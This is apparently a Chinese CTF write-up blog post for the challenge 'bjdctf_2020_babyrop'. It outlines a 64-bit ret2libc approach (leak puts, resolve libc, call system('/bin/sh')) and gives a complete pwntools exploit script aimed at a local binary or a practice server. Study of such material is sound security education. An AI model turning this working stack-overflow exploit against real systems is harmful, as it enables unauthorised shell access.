首页 > 其他分享 > bjdctf_2020_babyrop

bjdctf_2020_babyrop

时间:2023-08-08 13:37:29浏览次数:38  
标签:babyrop puts addr lib elf system 2020 bjdctf p64

bjdctf_2020_babyrop

0x01

注意这题位64位。32位和64位传参有区别

image-20230807231036816

思路:

  1. 利用puts函数泄露出puts函数真实地址
  2. 通过puts函数地址计算出libc基地址,从而计算出system和binsh的真实地址
  3. 构造rop链栈溢出getshell

puts函数通过pop rdi ; ret 传参

用ROPgadget可以找到

0x02

exp

#encoding = utf-8
 
from pwn import * 
from LibcSearcher import * 
 
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 1
elf = ELF('./pwn')
 
def main():
	if content == 1:
		p = process('./pwn') 
	else:
		p = remote('node4.buuoj.cn',29917)
	
	#elf
	main_addr = elf.sym['main']
	plt_addr  = elf.plt['puts']
	got_addr  = elf.got['puts']
	pop_rdi   = 0x0400733
	ret_addr  = 0x04004c9
	
	payload   = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
	p.recvuntil("Pull up your sword and tell me u story!\n")
	p.sendline(payload)
	puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
	print(hex(puts_addr))
	
	#libc
	lib 	        = LibcSearcher('puts',puts_addr) 
	lib_puts_addr   = lib.dump('puts')
	lib_system_addr = lib.dump('system')
	lib_bin_addr    = lib.dump('str_bin_sh')
	
	#base
	base_addr       = puts_addr - lib_puts_addr
	system_addr	= base_addr + lib_system_addr
	bin_addr	= base_addr + lib_bin_addr
	payload		= b'a'*(0x20+0x8) + p64(ret_addr) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
	p.recvuntil("Pull up your sword and tell me u story!\n")
	p.sendline(payload)
	
	p.interactive()
main()

标签:babyrop,puts,addr,lib,elf,system,2020,bjdctf,p64
From: https://www.cnblogs.com/imarch22/p/17613905.html

相关文章

  • [OGeek2019]babyrop
    [OGeek2019]babyrop0x0164位程序,开启NX没有system函数和/bin/sh字符串0x02分析程序:main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。main函数sub_804871F函数sub_80487D0函数观察程序我们可......
  • 题解 P6831 - [IOI2020] 嘉年华奖券
    小清新IOI题。首先考虑怎么求出答案。等价于我选择\(\dfrac{nk}{2}\)个数令它们系数为\(1\),再选\(\dfrac{nk}{2}\)个数令它们系数为\(-1\),最大化每个数的值乘以系数之和,并且要求每个奖券选择的数的个数恰好是\(k\)个。考虑先令每个奖券的前\(k\)个数系数为\(-1\),然......
  • HHKB2020 D 题解
    problem&blog。特判一下\(a+b>n\)时为\(0\)。正难则反,计算重叠的方案数。重叠即\(x,y\)轴均有交集,于是转化为两条线段相交的方案数(两条线段认为是不同的)。正难则反,计算不相交的方案数。第一条线段有\((n-b+1)-a+1=n-a-b+2\)种可能,第二条有\((n-a-b+1)\)种可能,故方案......
  • 2020 美国大选在即,假新闻也在路上了
    By超神经场景描述:出于宣传、牟利等目的,互联网上充满了各种虚假、误导性消息,这类消息被称之为「假新闻」。如何鉴别假新闻,防止被骗,一直以来困扰着大众。为此,一家英国初创公司研发人工智能算法来识别假新闻,防止其进一步传播。关键词:假新闻自然语言处理 事实检查近年来,「假新闻」一......
  • 漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2020年4月16日漏洞编号CVE-2020-2883威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版......
  • Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
    AapacheTomcatAJP文件包含漏洞(CVE-2020-1938)【项目中遇到过】1.背景简述java是目前WEB开发中主流的编程语言,而Tomcat是当前流行的Java中间件服务器之一。Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于Tomcat中的安全漏洞,由于TomcatAJP协议设计上存在缺陷,攻击者通......
  • 2020上海静安国际大数据论坛成功举行
     Datawhale活动 2020上海静安国际大数据论坛10月22日,由上海市经济和信息化委员会、上海市静安区人民政府、上海市大数据中心指导,上海市北高新(集团)有限公司主办,上海市北高新股份有限公司、机器之心(上海)科技有限公司承办的2020上海静安国际大数据论坛在上海市静安区市北高新商务......
  • 2020年社招面试技巧总结!
     Datawhale干货 作者:小白泽,复旦大学,Datawhale成员最近刚跳槽刚结束,也拿到了几家一线大厂的核心的offer,总结一下经验希望能帮到其他同学。这里不介绍具体的面试问题,只介绍些方法论。1.自身情况简单介绍下自身情况:国内top3硕士(众所周知,top3共有九所高校),某二线互联网企业算法工......
  • P7116 [NOIP2020] 微信步数
    原题简化题意:有一个k维场地,第i维宽为wi,即第i维的合法坐标为1,2,···,wi。小C有一个长为n的行动序列,第i元素为二元组(ci,di),表示这次行动小C的坐标由(x1,x2,...,xci,...,xk)变为(x1,x2,...,xci+di,...,xk)。小C会将行动......
  • 【csp2020】 方格取数 题解
    洛谷传送门1.题目大意给定一个\(n*m\)的矩阵,矩阵中每个点\((i,j)\)都有一个权值\(f_{(i,j)}\)。每次可以向上,向下或向右走。问从\((1,1)\)走到\((n,m)\),经过的路径上点的权值之和最大是多少?2.思路这道题我们不难想到动态规划。但是与一般的动规不同的是,本题中有上下右......